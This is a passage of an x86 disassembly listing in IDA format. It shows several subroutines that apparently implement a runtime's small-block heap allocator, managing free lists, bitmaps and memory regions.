loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DCFD4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DCFCC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DCFCC
		mov	eax, dword_4DCFD4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DCFD4
		mov	ecx, dword_4DCFCC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DCFD4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DCFD4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DCFD4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DCFD4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27B0000h
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DCFD4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DCFD8
		cmp	eax, dword_4DCFD4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DCFDC
		mov	dword_4DCFD0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DCFCC, edi
		mov	dword_4DCFD4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DCFD0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DCFD0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DCFD4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DCFCC
		jnz	short loc_41E4C7
		and	dword_4DCFD4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DCFD8
		mov	ecx, dword_4DCFC8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DCFDC
		push	edi
		push	dword_4DCFE4
		nop
		call	near ptr 2860000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DCFC8, 10h
		mov	dword_4DCFDC, eax
		mov	eax, dword_4DCFD8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DCFDC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DCFE4
		lea	esi, [ecx+eax*4]
		call	near ptr 27C0000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28B07B7h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DCFE4
		nop
		call	near ptr 27B0000h


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DCFD8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28B07B7h
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
